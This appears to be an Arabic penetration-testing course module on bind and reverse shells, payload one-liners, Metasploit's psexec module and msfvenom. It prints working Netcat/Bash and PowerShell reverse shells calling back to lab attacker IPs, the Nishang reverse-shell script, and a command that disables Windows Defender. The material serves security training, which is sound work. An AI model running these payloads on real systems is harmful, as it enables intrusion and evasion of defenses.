Module 8: الشلات والـ Payloads (Shells & Payloads)

الـ Shell هو اللي بيوصلك للتحكم في الجهاز. هنا هتفهم أنواعه، وإزاي تبني payload مناسب، وتفتح shell تفاعلي، وتستخدم الـ Web Shells.


01الشل والـ Payload

الـ shell برنامج بياخد أوامرك وينفذها في النظام ويرجعلك النتيجة كنص: Bash وZsh وcmd وPowerShell. في اختبار الاختراق، الشل غالبا بييجي نتيجة استغلال ثغرة أو تخطي حماية، وبعدها بنبقى شغالين على الجهاز بشكل تفاعلي.

Shell
الشل بيدي وصول تفاعلي للنظام (صورة الموديول).
محتوى
"I caught a shell."
"I popped a shell!"
"I dropped into a shell!"
"I'm in!"

الجمل دي معناها واحد: الشخص ده عمل exploit ووصل للـ shell على نظام الهدف. وده الهدف الأساسي في أغلب المهام، والموديول ده بيركز على اللي بعد الـ enumeration واختيار الـ exploit.

ليه نجيب شل أصلا؟

المنظورالمعنى
Computingبيئة userland نصية لإدارة المهام وإرسال الأوامر: Bash، Zsh، cmd، PowerShell.
Exploitation & Securityالشل نتيجة استغلال ثغرة أو تخطي حماية. مثال: تشغيل EternalBlue على Windows والوصول لـ cmd من بعيد.
Webweb shell سكربت بيتحط على السيرفر (غالبا عبر ثغرة رفع ملف) وبيتحكم فيه من المتصفح: تنفيذ أوامر، قراءة ملفات، وربما تخريب.

الـ Payload بيجيب الشل

كلمة payload معناها بيختلف حسب المجال:

الخلاصة

الشل = وصول. الـ payload = الكود اللي بيوصلك للوصول ده. الموديول كله بيلف حول الاتنين: إزاي تعملهم، وإزاي توصلهم للهدف، وإزاي تفضل مخفي.


02تحضير المهمة في CAT5 Security

إحنا penetration tester في CAT5 Security وبنحضر مهمة لعميل اسمه Inlanefreight. الفريق الأكبر عايز يتأكد من مهاراتك في الشلات والـ payloads قبل ما يدخلك المهمة الحقيقية، فالتقييم النهائي سلسلة تحديات لازم تعديها.


03تشريح الشل

كل نظام تشغيل عنده شل، وللتعامل معاه محتاج terminal emulator. أشهرهم:

Terminal Emulatorنظام التشغيل
Windows TerminalWindows
cmderWindows
PuTTYWindows
kittyWindows, Linux, macOS
AlacrittyWindows, Linux, macOS
xtermLinux
GNOME TerminalLinux
MATE TerminalLinux
KonsoleLinux
TerminalmacOS
iTerm2macOS

الاختيار بينهم مسألة ذوق وworkflow. المهم: الـ emulator اللي هتلاقيه على الهدف هو اللي موجود أصلا في النظام، مش اللي بتحبه.

Command Language Interpreters

زي المترجم البشري، الـ command language interpreter برنامج بيترجم أوامرك ويبعتها للـ OS. فالـ CLI في الحقيقة = نظام التشغيل + terminal emulator + interpreter. الأنواع دي بتتسمى كمان shell scripting languages أو Command and Scripting Interpreters في تقنيات الـ Execution في MITRE ATT&CK. معرفة الـ interpreter الموجود على الهدف بتحدد الأوامر والسكربتات اللي تستخدمها.

عملي: Terminal Emulators والشلات

في Pwnbox اضغط أيقونة المربع الأخضر فوق عشان تفتح MATE Terminal، واكتب أي حاجة وادوس Enter.

MATE terminal
MATE Terminal في Pwnbox (صورة الموديول).

علامة $ في أول السطر بتقولك الـ interpreter نوعه إيه: العلامة دي موجودة في Bash وKsh وPOSIX وغيرهم كعلامة بداية الـ prompt. ولما كتبنا نص عشوائي، Bash رد إنه مش عارف الأمر، يعني الـ interpreter ليه قائمة أوامر بيعرفها.

طريقة تانية لمعرفة الـ interpreter: تشوف الـ processes الشغالة.

Shell Validation From 'ps'

أمر ونتيجته
ps
 PID TTY TIME CMD
 4232 pts/1 00:00:00 bash
 11435 pts/1 00:00:00 ps

أو من متغيرات البيئة بأمر env:

Shell Validation Using 'env'

محتوى
env
SHELL=/bin/bash

PowerShell مقابل Bash

اضغط أيقونة المربع الأزرق: نفس الـ MATE Terminal لكن بـ interpreter تاني. قارن بينهم جنب بعض.

PowerShell vs Bash
Bash وPowerShell جنب بعض (صورة الموديول).
محتوى
What differences can we identify?
Why would we use one over the other on the same system?

الفرق كبير في الأوامر والـ output. أهم استنتاج: الـ terminal emulator مش مربوط بلغة واحدة، والـ shell language نفسها بتتغير حسب احتياج المستخدم.

محتوى
Now for some challenge questions to test our understanding. All answers can
be found utilizing Pwnbox.
الخلاصة

قبل أي shell، اسأل: إيه الـ interpreter الموجود على الهدف؟ (Bash؟ cmd؟ PowerShell؟) الإجابة بتحدد كل الأوامر اللي هتكتبها.


04Bind Shells

في أغلب الحالات بنكون عايزين نتحكم في جهاز بعيد من خلال الـ terminal بتاعنا، وده بيحصل بـ bind shell و/أو reverse shell.

الفكرة

في الـ bind shell، الهدف هو اللي بيفتح listener وينتظر اتصال من الـ attack box.

Bind shell
اتصال مباشر بـ IP وport الهدف (صورة الموديول).

المشاكل المتوقعة:

الأداة المستخدمة هنا GNU Netcat (nc)، الـ Swiss-Army Knife: شغال على TCP وUDP وUnix sockets، IPv4/IPv6، بيفتح listeners، وبيشتغل proxy، وبيتعامل مع input/output نصي. الـ attack box = client، والهدف = server.

عملي مع GNU Netcat

على الهدف (Ubuntu) نشغل listener:

No. 1: Server - Target starting Netcat listener

أمر ونتيجته
Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)

ومن الـ attack box نتصل:

No. 2: Client - Attack box connecting to target

أمر ونتيجته
nc -nv 10.129.41.200 7777
Connection to 10.129.41.200 7777 port [tcp/*] succeeded!

على العميل بتشوف succeeded! وعلى السيرفر received!.

No. 3: Server - Target receiving connection from client

أمر ونتيجته
Target@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.14.117 51872 received!
ملاحظة

ده لسه مش شل حقيقي، ده مجرد TCP session بـ Netcat. جرب: اكتب رسالة من العميل وشوفها واصلة على السيرفر.

No. 4: Client - Attack box sending message Hello Academy

أمر ونتيجته
nc -nv 10.129.41.200 7777
Connection to 10.129.41.200 7777 port [tcp/*] succeeded!
Hello Academy

No. 5: Server - Target receiving Hello Academy message

أمر ونتيجته
Victim@server:~$ nc -lvnp 7777
Listening on [0.0.0.0] (family 0, port 7777)
Connection from 10.10.14.117 51914 received!
Hello Academy

عمل Bind Shell حقيقي بـ Netcat

عشان يبقى bind shell فعلا، لازم على السيرفر نحدد الـ directory والـ shell والـ listener، ونستخدم pipelines وإعادة توجيه input/output عشان النظام نفسه يتقدم للعميل.

No. 1: Server - Binding a Bash shell to the TCP session

أمر ونتيجته
Target@server:~$ rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i
2>&1 | nc -l 10.129.41.200 7777 > /tmp/f

الأمر ده هو الـ payload، وبنوصله بإيدينا (manually). الأوامر بتختلف حسب نظام الهدف.

No. 2: Client - Connecting to bind shell on target

أمر ونتيجته
nc -nv 10.129.41.200 7777
Target@server:~$

كده عندك bind shell كامل. في السيناريو ده إحنا متحكمين في الطرفين ومفيش أي حماية (NAT، hardware firewall، WAF، IDS/IPS، firewall النظام، endpoint protection، authentication)، وده مش واقعي، لكنه أساس الفهم.

ملاحظة

الـ bind shell أسهل في الدفاع ضده: الاتصال داخل (incoming) فهيتكشف ويتحجب بسهولة حتى لو على بورت شائع. الحل: reverse shell.


05Reverse Shells

في الـ reverse shell الـ attack box هو اللي بيفتح listener، والهدف هو اللي يبدأ الاتصال.

Reverse shell
الهدف بيتصل بالـ attack box (صورة الموديول).

بنستخدمه أكتر لأن أغلب الأجهزة بتسمح بالاتصالات الخارجة، فبتقدر تستغل ثغرة (RCE، file upload، command injection...) وتجبر الهدف يتصل بينا.

مش لازم نعيد اختراع العجلة: فيه مكتبات جاهزة بأوامر وسكربتات reverse shell لكل اللغات، وأشهرها Payloads All The Things وReverse Shell Cheat Sheet.

عملي: Reverse Shell بسيط على Windows

على الـ attack box نشغل listener:

Server (attack box)

أمر ونتيجته
sudo nc -lvnp 443
Listening on 0.0.0.0 443

لاحظ إننا بنسمع على بورت 443 (بورت HTTPS) عشان يبان كأنه ترافيك عادي ويعدي من الـ firewall.

بعد ما نعمل RDP على الهدف، نسأل نفسنا سؤال مهم:

محتوى
What applications and shell languages are hosted on the target?

على الهدف نفتح command prompt ونلصق الأمر:

Client (target)

أمر ونتيجته
powershell -nop -c "$client = New-Object
System.Net.Sockets.TCPClient('10.10.14.158',443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -
TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path
+ '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$s
endbyte.Length);$stream.Flush()};$client.Close()"
ملاحظة

لو بتستخدم Pwnbox، بعض المتصفحات بتبوظ تنسيق الـ clipboard في الكونسول. انسخ الأمر بحرص أو اكتبه من ملف.

راجع الأمر كويس: إيه اللي لازم تغيره عشان يشتغل عندك؟ (الـ IP والـ port بتوعك).

محتوى
What happened when we hit enter in command prompt?

Client (target)

محتوى
At line:1 char:1
+ $client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443)
...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your
antivirus software.
 + CategoryInfo : ParserError: (:) [],
ParentContainsErrorRecordException
 + FullyQualifiedErrorId : ScriptContainedMaliciousContent

النتيجة: Windows Defender وقف تنفيذ الكود. ده متوقع، لأن الـ AV بيمسك الـ one-liner الشهير ده.

Disable AV

نوقف الـ real-time monitoring من Virus & threat protection settings أو من PowerShell كـ admin:

الأمر
PS C:\Users\htb-student> Set-MpPreference -DisableRealtimeMonitoring $true

وبعدها نعيد تشغيل الأمر:

Server (attack box)

أمر ونتيجته
sudo nc -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.129.36.68 49674
PS C:\Users\htb-student> whoami
ws01\htb-student
الخلاصة

reverse shell = الهدف بيتصل بينا. بنستخدم بورت شائع (443/80) عشان نعدي الـ firewall، والـ AV هيمسك الـ payloads المعروفة، فمحتاج تشفير أو obfuscation أو payload مخصص.


06مقدمة في الـ Payloads

محتوى
Have you ever sent an email or text to someone?

الرسالة اللي بتبعتها في الإيميل أو الـ SMS هي الـ payload بتاع الـ packet وهي ماشية في الشبكة. ولما بتوصل payload وتشغله، أنت فعليا بتدي الجهاز أمر ينفذ كود.

تفكيك الـ One-Liners

Netcat/Bash Reverse Shell One-liner

أمر ونتيجته
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc
10.10.14.12 7777 > /tmp/f

ده أشهر one-liner على Linux يقدم Bash shell على الشبكة. نفككه جزء جزء:

Remove /tmp/f

الأمر
rm -f /tmp/f;

بيحذف الملف /tmp/f لو موجود؛ -f بيخلي rm يتجاهل الملفات غير الموجودة، و; بيفصل الأوامر.

Make A Named Pipe

محتوى
mkfifo /tmp/f;

بيعمل FIFO named pipe في المسار المحدد (/tmp/f) كوسيط بين الطرفين.

Output Redirection

الأمر
cat /tmp/f |

cat بيقرأ من الـ FIFO، والـ pipe | بيوصل الـ stdout بالجزء اللي بعده.

Set Shell Options

محتوى
/bin/bash -i 2>&1 |

-i بتخلي الشل تفاعلي، و2>&1 بتحول الـ stderr للـ stdout عشان الأخطاء ترجعلك كمان.

Open a Connection with Netcat

الأمر
nc 10.10.14.12 7777 > /tmp/f

Netcat بيتصل بالـ attack box (10.10.14.12) على بورت 7777، والـ output بيتكتب في الـ FIFO اللي Bash بيقرأ منه.

شرح PowerShell One-liner

اختيار الـ shell والـ payload بيعتمد على نظام الهدف. الـ one-liner بتاع PowerShell طويل، بس كل جزء فيه له وظيفة:

Powershell One-liner

أمر ونتيجته
powershell -nop -c "$client = New-Object
System.Net.Sockets.TCPClient('10.10.14.158',443);$stream =
$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -
TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =
(iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path
+ '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$s
endbyte.Length);$stream.Flush()};$client.Close()"

Calling PowerShell

الأمر
powershell -nop -c

بيشغل powershell.exe من غير profile (-nop) وينفذ بلوك الكود (-c). الأمر بيتكتب من داخل cmd.exe، عشان كده اسم PowerShell في أوله.

Binding A Socket

محتوى
"$client = New-Object System.Net.Sockets.TCPClient(10.10.14.158,443);

بيعمل object من نوع TCPClient بيتصل بـ 10.10.14.158 على بورت 443، والـ ; بتنفذ الأوامر بالتتابع.

Setting The Command Stream

محتوى
$stream = $client.GetStream();

بياخد الـ stream من الاتصال عشان تقرأ منه وتكتب فيه.

Empty Byte Stream

محتوى
[byte[]]$bytes = 0..65535|%{0};

بيعمل array من نوع byte فيه 65,535 صفر، جاهزة تستقبل بيها البيانات.

Stream Parameters

محتوى
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)

loop بيقرأ من الـ stream لحد ما القراءة ترجع صفر (يعني الاتصال قفل).

Set The Byte Encoding

محتوى
{;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes, 0, $i);

بيحول البايتات لـ ASCII، فاللي تكتبه بيوصل كنص مفهوم مش بايتات فاضية.

Invoke-Expression

محتوى
$sendback = (iex $data 2>&1 | Out-String );

iex بينفذ الأمر اللي وصل، والنتيجة (مع الأخطاء) بتتحول لـ string في $sendback.

Show Working Directory

محتوى
$sendback2 = $sendback + 'PS ' + (pwd).path + '> ';

بيضيف PS ومسار المجلد الحالي عشان الـ prompt يبان زي PS C:\workingdirectoryofmachine>.

Sets Sendbyte

محتوى
$sendbyte=
([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$s
endbyte.Length);$stream.Flush()}

بيحول الـ prompt لبايتات ASCII ويكتبها في الـ stream وبيعمل flush.

Terminate TCP Connection

محتوى
$client.Close()"

بيقفل الاتصال.

نفس الـ one-liner ممكن يتنفذ كسكربت .ps1، وده مثال سكربت جاهز من Nishang:

محتوى
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive
PowerShell from a target.
.DESCRIPTION
This script is able to connect to a standard Netcat listening on a port
when using the -Reverse switch.
Also, a standard Netcat can connect to this script Bind to a specific
port.
The script is derived from Powerfun written by Ben Turner & Dave Hardy
.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch.
.PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it
is the port on which this script listens.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444
Above shows an example of an interactive PowerShell reverse connect shell.
A netcat/powercat listener must be listening on
the given IP and port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444
Above shows an example of an interactive PowerShell bind connect shell.
Use a netcat/powercat to connect to this port.
.EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -
Port 4444
Above shows an example of an interactive PowerShell reverse connect shell
over IPv6. A netcat/powercat listener must be
listening on the given IP and port.
.LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-
day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
محتوى
#>
 [CmdletBinding(DefaultParameterSetName="reverse")] Param(
 [Parameter(Position = 0, Mandatory = $true,
ParameterSetName="reverse")]
 [Parameter(Position = 0, Mandatory = $false,
ParameterSetName="bind")]

 $IPAddress,
[String]
 [Parameter(Position = 1, Mandatory = $true,
ParameterSetName="reverse")]
 [Parameter(Position = 1, Mandatory = $true,
ParameterSetName="bind")]

 $Port,
[Int]
 [Parameter(ParameterSetName="reverse")]

 $Reverse,
[Switch]
 [Parameter(ParameterSetName="bind")]

 $Bind
[Switch]
 )
 try
 {
 #Connect back if the reverse switch is used.
 if ($Reverse)
 {
 $client = New-Object
System.Net.Sockets.TCPClient($IPAddress,$Port)
 }
 #Bind to the provided port if Bind switch is used.
 if ($Bind)
 {
 $listener =
$Port
 $listener.start()
 $client = $listener.AcceptTcpClient()
 }
[System.Net.Sockets.TcpListener]
 $stream = $client.GetStream()

$bytes = 0..65535|%{0}
[byte[]]
 #Send back current username and computername
 $sendbytes = (
::ASCII).GetBytes("Windows PowerShell
[text.encoding]
محتوى
running as user " + $env:username + " on " + $env:computername +
"`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
 $stream.Write($sendbytes,0,$sendbytes.Length)
 #Show an interactive PowerShell prompt
 $sendbytes = (
::ASCII).GetBytes('PS ' + (Get-
Location).Path + '>')
[text.encoding]
 $stream.Write($sendbytes,0,$sendbytes.Length)
 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
 {
 $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
 $data = $EncodedText.GetString($bytes,0, $i)
 try
 {
 #Execute the command on the target.
 $sendback = (Invoke-Expression -Command $data 2>&1 | Out-
String )
 }
 catch
 {
 Write-Warning "Something went wrong with execution of
command on the target."
 Write-Error $_
 }
 $sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '
 $x = ($error[0] | Out-String)
 $error.clear()
 $sendback2 = $sendback2 + $x
 #Return the results
 $sendbyte = (
::ASCII).GetBytes($sendback2)
 $stream.Write($sendbyte,0,$sendbyte.Length)
 $stream.Flush()
 }
 $client.Close()
 if ($listener)
 {
 $listener.Stop()
 }
 }
 catch
 {
 Write-Warning "Something went wrong! Check if the server is
reachable and you are using the correct port."
[text.encoding]
 Write-Error $_
 }
}

الـ Payloads ليها أشكال كتير

فهم نوع الـ payload بيخليك تعرف ليه الـ AV بيمنعه وإزاي تعدله. مش كل الـ payloads one-liners بتتكتب بإيدك؛ فيه payloads بتتولد من أدوات وأطر زي Metasploit.

الخلاصة

الـ one-liner هو سلسلة خطوات صغيرة: افتح اتصال، اقرأ الأمر، نفذه، رجع النتيجة. فهم السلسلة دي هو اللي يخليك تبني payload بنفسك بدل ما تحفظ أمر.


07أتمتة الـ Payloads بـ Metasploit

Metasploit (من Rapid7) إطار هجوم بيسهل الاستغلال: قواعد بيانات للثغرات، payloads جاهزة، exploit modules، وأدوات post-exploitation. هنستخدم النسخة المجتمعية على Pwnbox، بس الجزء ده مش تغطية كاملة للميتاسبلويت (له موديول كامل لوحده).

عملي مع Metasploit

نشغل الكونسول كـ root:

Starting MSF

أمر ونتيجته
sudo msfconsole
IIIIII dTb.dTb _.---._
 II 4' v 'B .'"".'/|\`.""'.
 II 6. .P : .' / | \ `. :
 II 'T;. .;P' '.' / | \ `.'
 II 'T; ;P' `. / | \ .'
IIIIII 'YvP' `-.__|__.-'
I love shells --egypt
 =[ metasploit v6.0.44-dev ]
+ -- --=[ 2131 exploits - 1139 auxiliary - 363 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 8 evasion ]
Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command
msf6 >

هتلاقي banner فيه أرقام مهمة، مثلا 2131 exploits و592 payloads. الأرقام دي بتتغير مع تحديث الأداة أو إضافة modules.

الخطوة العملية: عندنا نتائج nmap ونبي نختار module مناسب لـ Windows.

NMAP Scan

أمر ونتيجته
nmap -sC -sV -Pn 10.129.164.25
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan
times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-09 21:03 UTC
Nmap scan report for 10.129.164.25
Host is up (0.020s latency).
Not shown: 996 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds
(workgroup: WORKGROUP)
Host script results:
|_nbstat: NetBIOS name: nil, NetBIOS user: <unknown>, NetBIOS MAC:
00:50:56:b9:04:e2 (VMware)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-09T21:03:31
|_ start_date: N/A

النتيجة فيها بورتات standard لـ Windows (135، 139، 445...). بعد كده نستخدم البحث داخل MSF:

Searching Within Metasploit

أمر ونتيجته
msf6 > search smb
Matching Modules
================
# Name
Disclosure Date Rank Check Description
محتوى
 - ---- -------
-------- ---- ----- ----------
41 auxiliary/scanner/smb/smb_ms17_010
normal No MS17-010 SMB RCE Detection
42 auxiliary/dos/windows/smb/ms05_047_pnp
normal No Microsoft Plug and Play Service Registry Overflow
43 auxiliary/dos/windows/smb/rras_vls_null_deref
2006-06-14 normal No Microsoft RRAS
InterfaceAdjustVLSPointers NULL Dereference
44 auxiliary/admin/mssql/mssql_ntlm_stealer
normal No Microsoft SQL Server NTLM Stealer
45 auxiliary/admin/mssql/mssql_ntlm_stealer_sqli
normal No Microsoft SQL Server SQLi NTLM Stealer
46 auxiliary/admin/mssql/mssql_enum_domain_accounts_sqli
normal No Microsoft SQL Server SQLi SUSER_SNAME Windows Domain
Account Enumeration
47 auxiliary/admin/mssql/mssql_enum_domain_accounts
normal No Microsoft SQL Server SUSER_SNAME Windows Domain Account
Enumeration
48 auxiliary/dos/windows/smb/ms06_035_mailslot
2006-07-11 normal No Microsoft SRV.SYS Mailslot Write
Corruption
49 auxiliary/dos/windows/smb/ms06_063_trans
normal No Microsoft SRV.SYS Pipe Transaction No Null
50 auxiliary/dos/windows/smb/ms09_001_write
normal No Microsoft SRV.SYS WriteAndX Invalid DataOffset
51 auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh
normal No Microsoft SRV2.SYS SMB Negotiate ProcessID Function
Table Dereference
52 auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff
normal No Microsoft SRV2.SYS SMB2 Logoff Remote Kernel NULL
Pointer Dereference
53 auxiliary/dos/windows/smb/vista_negotiate_stop
normal No Microsoft Vista SP0 SMB Negotiate Protocol DoS
54 auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop
normal No Microsoft Windows 7 / Server 2008 R2 SMB Client Infinite
Loop
55 auxiliary/scanner/smb/psexec_loggedin_users
normal No Microsoft Windows Authenticated Logged In Users
Enumeration
56 exploit/windows/smb/psexec
1999-01-01 manual No Microsoft Windows Authenticated User
Code Execution
57 auxiliary/dos/windows/smb/ms11_019_electbowser
normal No Microsoft Windows Browser Pool DoS
58 exploit/windows/smb/smb_rras_erraticgopher
2017-06-13 average Yes Microsoft Windows RRAS Service
MIBEntryGet Overflow
59 auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow
normal No Microsoft Windows SRV.SYS SrvSmbQueryFsInformation Pool
محتوى
Overflow DoS
60 exploit/windows/smb/ms10_046_shortcut_icon_dllloader
2010-07-16 excellent No Microsoft Windows Shell LNK Code
Execution

تشريح اسم الـ Module

قائمة النتائج بتعرض لكل module رقم واسم وتاريخ disclosure وrank وcheck ووصف. الرقم اللي على الشمال بيتغير حسب البحث، وبيتستخدم في الاختيار.

محتوى
56 exploit/windows/smb/psexec
الجزءالمعنى
56رقم الـ module في نتيجة البحث، وتستخدمه في use 56.
exploit/نوع الـ module: exploit. معظم exploit modules فيها payload بيحاول يفتح shell session.
windows/الـ platform المستهدفة، وهنا Windows، فالـ exploit والـ payload لـ Windows.
smb/الخدمة اللي الـ payload مكتوب لها.
psexecالأداة اللي بتترفع على الهدف لو كان مصاب.

Option Selection

أمر ونتيجته
msf6 > use 56
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/psexec) >

لاحظ إن exploit بره الأقواس: نوع الـ module. واللي جوه الأقواس هو الـ module المختار، والـ prompt بيتغير عشان تعرف فين أنت.

Examining an Exploit's Options

أمر ونتيجته
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOSTS yes The target host(s),
range CIDR identifier, or hosts file with syntax 'file:<path>'
 RPORT 445 yes The SMB service port
(TCP)
 SERVICE_DESCRIPTION no Service description to
to be used on target for pretty listing
 SERVICE_DISPLAY_NAME no The service display
name
 SERVICE_NAME no The service name
 SHARE no The share to connect
to, can be an admin share (ADMIN$,C$,...) or a normal read/write fo
 lder share
 SMBDomain . no The Windows domain to
use for authentication
 SMBPass no The password for the
specified username
 SMBUser no The username to
authenticate as
Payload options (windows/meterpreter/reverse_tcp):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 EXITFUNC thread yes Exit technique (Accepted: '', seh,
thread, process, none)
 LHOST 68.183.42.102 yes The listen address (an interface
may be specified)
 LPORT 4444 yes The listen port
Exploit target:
 Id Name
 -- ----
 0 Automatic

دي قوة Metasploit: بيوريك كل الإعدادات المطلوبة وشرحها. نظبط المهم:

Setting Options

أمر ونتيجته
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.129.180.71
RHOSTS => 10.129.180.71
msf6 exploit(windows/smb/psexec) > set SHARE ADMIN$
SHARE => ADMIN$
msf6 exploit(windows/smb/psexec) > set SMBPass HTB_@cademy_stdnt!
SMBPass => HTB_@cademy_stdnt!
msf6 exploit(windows/smb/psexec) > set SMBUser htb-student
SMBUser => htb-student
msf6 exploit(windows/smb/psexec) > set LHOST 10.10.14.222
LHOST => 10.10.14.222

RHOSTS = الهدف، SHARE = المشاركة اللي هيترفع عليها، SMBUser/SMBPass = بيانات الدخول، LHOST = جهازك عشان الـ reverse shell يرجعلك.

Exploits Away

أمر ونتيجته
msf6 exploit(windows/smb/psexec) > exploit
[*] Started reverse TCP handler on 10.10.14.222:4444
[*] 10.129.180.71:445 - Connecting to the server...
[*] 10.129.180.71:445 - Authenticating to 10.129.180.71:445 as user 'htb-
student'...
[*] 10.129.180.71:445 - Selecting PowerShell target
[*] 10.129.180.71:445 - Executing the payload...
[+] 10.129.180.71:445 - Service start timed out, OK if running a command
or non-service executable...
[*] Sending stage (175174 bytes) to 10.129.180.71
محتوى
[*] Meterpreter session 1 opened (10.10.14.222:4444 ->
10.129.180.71:49675) at 2021-09-13 17:43:41 +0000
meterpreter >

بعد exploit الأداة بتنفذ الـ module وبتوصل الـ payload للهدف. حسب توثيق Rapid7: الـ module ده بيستخدم مستخدم admin صالح عشان يرفع payload ويعمل service.

الـ psexec module بيعمل service على الهدف عشان يشغل الـ payload (create/start/stop)، وبيستخدم أدوات Sysinternals في الشغل ده. وده اللي بيخلي الـ AV والـ EDR يمسكوه بسهولة.

Meterpreter زي أي interpreter تاني: بياخد أوامرك وينفذها على الهدف، بس من غير ما يفتح process جديد.

Interactive Shell

أمر ونتيجته
meterpreter > shell
Process 604 created.
Channel 1 created.
Microsoft Windows [Version 10.0.18362.1256]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\WINDOWS\system32>
ملاحظة

Meterpreter مش cmd. لو عايز شل نظام عادي، اكتب shell جوه الـ session.


08بناء الـ Payloads بـ MSFvenom

الهجوم الأوتوماتيكي بـ Metasploit محتاج وصول للهدف (شبكة داخلية أو منفذ مفتوح). لو الهدف مش متاح، بنستخدم MSFvenom نصنع payload ونوصله بإيميل أو أي وسيلة social engineering. MSFvenom كمان بيشفر ويشفر الـ payloads عشان يتخطى توقيعات الـ AV.

عملي مع MSFvenom

List Payloads

أمر ونتيجته
msfvenom -l payloads
Framework Payloads (592 total) [--payload <value>]
==================================================
 Name Description
 ---- -----------
linux/x86/shell/reverse_nonx_tcp Spawn a command shell
(staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell
(staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell
(staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a
connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a
connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a
connection in a random port and spawn a command shell. Use nmap to
discover the open port: 'nmap -sS target -p-'.
محتوى
linux/x86/shell_find_port Spawn a shell on an
established connection
linux/x86/shell_find_tag Spawn a shell on an
established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to
attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to
attacker and spawn a command shell over IPv6
linux/zarch/meterpreter_reverse_http Run the Meterpreter /
Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_https Run the Meterpreter /
Mettle server payload (stageless)
linux/zarch/meterpreter_reverse_tcp Run the Meterpreter /
Mettle server payload (stageless)
mainframe/shell_reverse_tcp Listen for a
connection and spawn a command shell. This implementation does not
include ebcdic character translation, so a client wi
 th translation
capabilities is required. MSF handles this automatically.
multi/meterpreter/reverse_http Handle Meterpreter
sessions regardless of the target arch/platform. Tunnel communication over
HTTP
multi/meterpreter/reverse_https Handle Meterpreter
sessions regardless of the target arch/platform. Tunnel communication over
HTTPS
netware/shell/reverse_tcp Connect to the NetWare
console (staged). Connect back to the attacker
nodejs/shell_bind_tcp Creates an interactive
shell via nodejs
nodejs/shell_reverse_tcp Creates an interactive
shell via nodejs
nodejs/shell_reverse_tcp_ssl Creates an interactive
shell via nodejs, uses SSL
osx/armle/execute/bind_tcp Spawn a command shell
(staged). Listen for a connection
osx/armle/execute/reverse_tcp Spawn a command shell
(staged). Connect back to the attacker
osx/armle/shell/bind_tcp Spawn a command shell
(staged). Listen for a connection
osx/armle/shell/reverse_tcp Spawn a command shell
(staged). Connect back to the attacker
osx/armle/shell_bind_tcp Listen for a
connection and spawn a command shell
osx/armle/shell_reverse_tcp Connect back to
attacker and spawn a command shell
